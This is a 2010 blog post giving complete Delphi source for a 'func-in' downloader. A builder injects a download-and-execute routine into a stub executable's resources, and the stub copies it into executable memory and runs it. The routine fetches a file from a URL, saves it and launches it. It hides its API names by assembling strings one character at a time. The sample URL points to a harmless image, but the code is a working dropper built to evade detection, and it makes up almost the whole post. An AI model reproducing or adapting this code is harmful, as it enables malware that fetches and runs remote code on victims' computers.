Func-In Wininet Downloader

posted 24 Dec 2010 08:22 by Delphi Basics
This delphi source code example details the wininet downloader:
edited to use func-in technology where the procedure of downloading and executing a file is stored within the resource section of the stub application from where it is called when a built stub is executed.

Builder:
program Builder;
//delphibasics.info & ic0de.org
//Authors: cswi, abhe & steve10120

const
  kernel32 = 'kernel32.dll';

type
  PByte = ^Byte;

function BeginUpdateResourceW(pFileName: PWideChar; bDeleteExistingResources: Boolean): Cardinal; stdcall; external kernel32 name 'BeginUpdateResourceW';
function UpdateResourceW(hUpdate: Cardinal; lpType, lpName: PWideChar; wLanguage: Word; lpData: Pointer; cbData: LongWord): Boolean; stdcall; external kernel32 name 'UpdateResourceW';
function EndUpdateResourceW(hUpdate: Cardinal; fDiscard: Boolean): Boolean; stdcall; external kernel32 name 'EndUpdateResourceW';

const
  cFuncIn : PWideChar = 'FUNCIN';

type
  TGetProcAddress = function (hModule: Cardinal; lpProcName: pAnsiChar): Pointer; stdcall;
  TLoadLibraryA = function(lpLibFileName: PAnsiChar): Cardinal; stdcall;
  TFuncInRecord = Record
    xGetProcAddress : TGetProcAddress;
    xLoadLibraryA : TLoadLibraryA;
  end;
  PFuncInRecord = ^TFuncInRecord;

procedure FuncIn(AFuncInRecord : PFuncInRecord; cUrl, cFile : pAnsiChar);
type
  PSecurityAttributes = ^TSecurityAttributes;
  TSecurityAttributes = record
    nLength: LongWord;
    lpSecurityDescriptor: Pointer;
    bInheritHandle: Boolean;
  end;
  POverlapped = ^TOverlapped;
  TOverlapped = record
    Internal: LongWord;
    InternalHigh: LongWord;
    Offset: LongWord;
    OffsetHigh: LongWord;
    hEvent: LongWord;
  end;
  TCreateFileA = function(lpFileName: PAnsiChar; dwDesiredAccess, dwShareMode: LongWord; lpSecurityAttributes: PSecurityAttributes; dwCreationDisposition, dwFlagsAndAttributes: LongWord; hTemplateFile: LongWord): LongWord; stdcall;
  TWriteFile = function(hFile: LongWord; const Buffer; nNumberOfBytesToWrite: LongWord; var lpNumberOfBytesWritten: LongWord; lpOverlapped: POverlapped): Boolean; stdcall;
  TCloseHandle = function(hObject: LongWord): Boolean; stdcall;
  TInternetOpenA = function(lpszAgent: PAnsiChar; dwAccessType: LongWord; lpszProxy, lpszProxyBypass: PAnsiChar; dwFlags: LongWord): Pointer; stdcall;
  TInternetOpenUrlA = function(hInet: Pointer; lpszUrl: PAnsiChar; lpszHeaders: PAnsiChar; dwHeadersLength: LongWord; dwFlags: LongWord; dwContext: LongWord): Pointer; stdcall;
  TInternetReadFile = function(hFile: Pointer; lpBuffer: Pointer; dwNumberOfBytesToRead: LongWord; var lpdwNumberOfBytesRead: LongWord): Boolean; stdcall;
  TInternetCloseHandle = function(hInet: Pointer): Boolean; stdcall;
  TShellExecuteA = function(hWnd: LongWord; Operation, FileName, Parameters, Directory: PAnsiChar; ShowCmd: Integer): LongWord; stdcall;
var
  szKernel32 : array [0..8] of AnsiChar;
  szWininet : array [0..7] of AnsiChar;
  szShell32 : array [0..7] of AnsiChar;
  szCreateFileA : array [0..11] of AnsiChar;
  szWriteFile : array [0..9] of AnsiChar;
  szCloseHandle : array [0..11] of AnsiChar;
  szInternetOpenA : array [0..13] of AnsiChar;
  szInternetOpenUrlA : array [0..16] of AnsiChar;
  szInternetReadFile : array [0..16] of AnsiChar;
  szInternetCloseHandle : array [0..19] of AnsiChar;
  szShellExecuteA : array [0..13] of AnsiChar;
  szopen : array [0..4] of AnsiChar;
  xCreateFileA : TCreateFileA;
  xWriteFile : TWriteFile;
  xCloseHandle : TCloseHandle;
  xInternetOpenA : TInternetOpenA;
  xInternetOpenUrlA : TInternetOpenUrlA;
  xInternetReadFile : TInternetReadFile;
  xInternetCloseHandle : TInternetCloseHandle;
  xShellExecuteA : TShellExecuteA;
  hKernel32, hWininet, hShell32 : LongWord;
  hSession, hURL: Pointer;
  Buffer: Array [1..1024] of Byte;
  BufferLen, FileHandle, BytesWritten: LongWord;
begin
  szKernel32[0] := 'K'; szKernel32[1] := 'e'; szKernel32[2] := 'r'; szKernel32[3] := 'n'; szKernel32[4] := 'e'; szKernel32[5] := 'l'; szKernel32[6] := '3'; szKernel32[7] := '2'; szKernel32[8] := #0;
  szWininet[0] := 'W'; szWininet[1] := 'i'; szWininet[2] := 'n'; szWininet[3] := 'i'; szWininet[4] := 'n'; szWininet[5] := 'e'; szWininet[6] := 't'; szWininet[7] := #0;
  szShell32[0] := 'S'; szShell32[1] := 'h'; szShell32[2] := 'e'; szShell32[3] := 'l'; szShell32[4] := 'l'; szShell32[5] := '3'; szShell32[6] := '2'; szShell32[7] := #0;
  szCreateFileA[0] := 'C'; szCreateFileA[1] := 'r'; szCreateFileA[2] := 'e'; szCreateFileA[3] := 'a'; szCreateFileA[4] := 't'; szCreateFileA[5] := 'e'; szCreateFileA[6] := 'F'; szCreateFileA[7] := 'i'; szCreateFileA[8] := 'l'; szCreateFileA[9] := 'e'; szCreateFileA[10] := 'A'; szCreateFileA[11] := #0;
  szWriteFile[0] := 'W'; szWriteFile[1] := 'r'; szWriteFile[2] := 'i'; szWriteFile[3] := 't'; szWriteFile[4] := 'e'; szWriteFile[5] := 'F'; szWriteFile[6] := 'i'; szWriteFile[7] := 'l'; szWriteFile[8] := 'e'; szWriteFile[9] := #0;
  szCloseHandle[0] := 'C'; szCloseHandle[1] := 'l'; szCloseHandle[2] := 'o'; szCloseHandle[3] := 's'; szCloseHandle[4] := 'e'; szCloseHandle[5] := 'H'; szCloseHandle[6] := 'a'; szCloseHandle[7] := 'n'; szCloseHandle[8] := 'd'; szCloseHandle[9] := 'l'; szCloseHandle[10] := 'e'; szCloseHandle[11] := #0;
  szInternetOpenA[0] := 'I'; szInternetOpenA[1] := 'n'; szInternetOpenA[2] := 't'; szInternetOpenA[3] := 'e'; szInternetOpenA[4] := 'r'; szInternetOpenA[5] := 'n'; szInternetOpenA[6] := 'e'; szInternetOpenA[7] := 't'; szInternetOpenA[8] := 'O'; szInternetOpenA[9] := 'p'; szInternetOpenA[10] := 'e'; szInternetOpenA[11] := 'n'; szInternetOpenA[12] := 'A'; szInternetOpenA[13] := #0;
  szInternetOpenUrlA[0] := 'I'; szInternetOpenUrlA[1] := 'n'; szInternetOpenUrlA[2] := 't'; szInternetOpenUrlA[3] := 'e'; szInternetOpenUrlA[4] := 'r'; szInternetOpenUrlA[5] := 'n'; szInternetOpenUrlA[6] := 'e'; szInternetOpenUrlA[7] := 't'; szInternetOpenUrlA[8] := 'O'; szInternetOpenUrlA[9] := 'p'; szInternetOpenUrlA[10] := 'e'; szInternetOpenUrlA[11] := 'n'; szInternetOpenUrlA[12] := 'U'; szInternetOpenUrlA[13] := 'r'; szInternetOpenUrlA[14] := 'l'; szInternetOpenUrlA[15] := 'A'; szInternetOpenUrlA[16] := #0;
  szInternetReadFile[0] := 'I'; szInternetReadFile[1] := 'n'; szInternetReadFile[2] := 't'; szInternetReadFile[3] := 'e'; szInternetReadFile[4] := 'r'; szInternetReadFile[5] := 'n'; szInternetReadFile[6] := 'e'; szInternetReadFile[7] := 't'; szInternetReadFile[8] := 'R'; szInternetReadFile[9] := 'e'; szInternetReadFile[10] := 'a'; szInternetReadFile[11] := 'd'; szInternetReadFile[12] := 'F'; szInternetReadFile[13] := 'i'; szInternetReadFile[14] := 'l'; szInternetReadFile[15] := 'e'; szInternetReadFile[16] := #0;
  szInternetCloseHandle[0] := 'I'; szInternetCloseHandle[1] := 'n'; szInternetCloseHandle[2] := 't'; szInternetCloseHandle[3] := 'e'; szInternetCloseHandle[4] := 'r'; szInternetCloseHandle[5] := 'n'; szInternetCloseHandle[6] := 'e'; szInternetCloseHandle[7] := 't'; szInternetCloseHandle[8] := 'C'; szInternetCloseHandle[9] := 'l'; szInternetCloseHandle[10] := 'o'; szInternetCloseHandle[11] := 's'; szInternetCloseHandle[12] := 'e'; szInternetCloseHandle[13] := 'H'; szInternetCloseHandle[14] := 'a'; szInternetCloseHandle[15] := 'n'; szInternetCloseHandle[16] := 'd'; szInternetCloseHandle[17] := 'l'; szInternetCloseHandle[18] := 'e'; szInternetCloseHandle[19] := #0;
  szShellExecuteA[0] := 'S'; szShellExecuteA[1] := 'h'; szShellExecuteA[2] := 'e'; szShellExecuteA[3] := 'l'; szShellExecuteA[4] := 'l'; szShellExecuteA[5] := 'E'; szShellExecuteA[6] := 'x'; szShellExecuteA[7] := 'e'; szShellExecuteA[8] := 'c'; szShellExecuteA[9] := 'u'; szShellExecuteA[10] := 't'; szShellExecuteA[11] := 'e'; szShellExecuteA[12] := 'A'; szShellExecuteA[13] := #0;
  szopen[0] := 'o'; szopen[1] := 'p'; szopen[2] := 'e'; szopen[3] := 'n'; szopen[4] := #0;
  with AFuncInRecord^ do
  begin
    hKernel32 := xLoadLibraryA(szKernel32);
    @xCreateFileA := xGetProcAddress(hKernel32, szCreateFileA);
    @xWriteFile := xGetProcAddress(hKernel32, szWriteFile);
    @xCloseHandle := xGetProcAddress(hKernel32, szCloseHandle);
    hWininet := xLoadLibraryA(szWininet);
    @xInternetOpenA := xGetProcAddress(hWininet, szInternetOpenA);
    @xInternetOpenUrlA := xGetProcAddress(hWininet, szInternetOpenUrlA);
    @xInternetReadFile := xGetProcAddress(hWininet, szInternetReadFile);
    @xInternetCloseHandle := xGetProcAddress(hWininet, szInternetCloseHandle);
    hShell32 := xLoadLibraryA(szShell32);
    @xShellExecuteA := xGetProcAddress(hShell32, szShellExecuteA);
    hSession := xInternetOpenA(nil, 0, nil, nil, 0);
    hURL := xInternetOpenURLA(hSession, cURL, nil, 0, 0, 0);
    FileHandle := xCreateFileA(cFile, $40000000, $00000002, nil, 2, $00000002, 0);
    BytesWritten := 0;
    repeat
      xInternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
      xWriteFile(FileHandle, Buffer, BufferLen, BytesWritten, nil);
    until BufferLen = 0;
    xCloseHandle(FileHandle);
    xInternetCloseHandle(hURL);
    xInternetCloseHandle(hSession);
    xShellExecuteA(0, szopen, cFile, nil, nil, 1);
  end;
end;

Function WriteResData(pFile: pointer; Size: integer; pwName: pWideChar):Boolean;
const
  pwServerFile : PWideChar = 'Stub.exe'  ;
var
  hResourceHandle: Cardinal;
begin
  hResourceHandle := BeginUpdateResourceW(pwServerFile, False);
  Result := UpdateResourceW(hResourceHandle, PWideChar(10), pwName, 0, pFile, Size);
  EndUpdateResourceW(hResourceHandle, False);
end;

function SizeOfProc(pAddr: pointer): Cardinal;
var dwSize: Cardinal;
begin
  dwSize := 0;
  repeat
    inc(dwSize);
  until PByte(Cardinal(pAddr)+dwSize-1)^ = $C3;
  Result := dwSize;
end;

begin
  WriteResData(@FuncIn, SizeOfProc(@FuncIn), cFuncIn);
  WriteResData(nil, 0, 'PACKAGEINFO');
  WriteResData(nil, 0, 'DVCLAL');
end.

Stub:
program Stub;

const
  cURL : PAnsiChar = 'http://www.google.co.za/intl/en_com/images/srpr/logo1w.png';
  cFile : PAnsiChar = 'C:\GoogleLogo.png';

const
  kernel32 = 'kernel32.dll';
  MEM_COMMIT = $1000;
  PAGE_EXECUTE_READWRITE = $40;
  MEM_RELEASE = $8000;

function GetProcAddress(hModule: Cardinal; lpProcName: PAnsiChar): Pointer; stdcall; external kernel32 name 'GetProcAddress';
function LoadLibraryA(lpLibFileName: PAnsiChar): Cardinal; stdcall; external kernel32 name 'LoadLibraryA';
function FindResourceW(hModule: Cardinal; lpName, lpType: PWideChar): Cardinal; stdcall; external kernel32 name 'FindResourceW';
function LoadResource(hModule: Cardinal; hResInfo: Cardinal): Cardinal; stdcall; external kernel32 name 'LoadResource';
function SizeofResource(hModule: Cardinal; hResInfo: Cardinal): LongWord; stdcall; external kernel32 name 'SizeofResource';
function VirtualAlloc(lpvAddress: Pointer; dwSize, flAllocationType, flProtect: LongWord): Pointer; stdcall; external kernel32 name 'VirtualAlloc';
function VirtualFree(lpAddress: Pointer; dwSize, dwFreeType: LongWord): Boolean; stdcall; external kernel32 name 'VirtualFree';

const
  cFuncIn : PWideChar = 'FUNCIN';

type
  TGetProcAddress = function (hModule: Cardinal; lpProcName: pAnsiChar): Pointer; stdcall;
  TLoadLibraryA = function(lpLibFileName: PAnsiChar): Cardinal; stdcall;
  TFuncInRecord = Record
    xGetProcAddress : TGetProcAddress;
    xLoadLibraryA : TLoadLibraryA;
  end;
  PFuncInRecord = ^TFuncInRecord;

  PFuncIn = ^TFuncIn;
  TFuncIn = procedure(pData : PFuncInRecord; lpTitle, lpMessage : pAnsiChar);

procedure ResGet(ResName: pwidechar; var data : pointer; var Size:LongWord);
var
  ResSrc: Cardinal;
  ResGlobal: Cardinal;
begin
  ResSrc := FindResourceW(0, ResName, PWideChar(10));
  ResGlobal := LoadResource(0, ResSrc);
  Data := Pointer(ResGlobal);
  Size := SizeofResource(0, ResSrc);
end;

procedure CopyMemory(Destination, Source:Pointer; dwSize:LongWord);
asm
  PUSH ECX
  PUSH ESI
  PUSH EDI
  MOV EDI, Destination
  MOV ESI, Source
  MOV ECX, dwSize
  REP MOVSB
  POP EDI
  POP ESI
  POP ECX
end;

var
  FuncIn : TFuncIn;
  pResource : Pointer;
  dwResourceSize : LongWord;
  AFuncInRecord : TFuncInRecord;
begin
  AFuncInRecord.xGetProcAddress := @GetProcAddress;
  AFuncInRecord.xLoadLibraryA := @LoadLibraryA;
  ResGet(cFuncIn, pResource, dwResourceSize);
  FuncIn := VirtualAlloc(nil, dwResourceSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  CopyMemory(@FuncIn, pResource, dwResourceSize);
  FuncIn(@AFuncInRecord,cUrl, cFile);
  VirtualFree(@FuncIn, 0, MEM_RELEASE);
end.

Č
ċ
Delphi Basics,
24 Dec 2010 08:49
Comments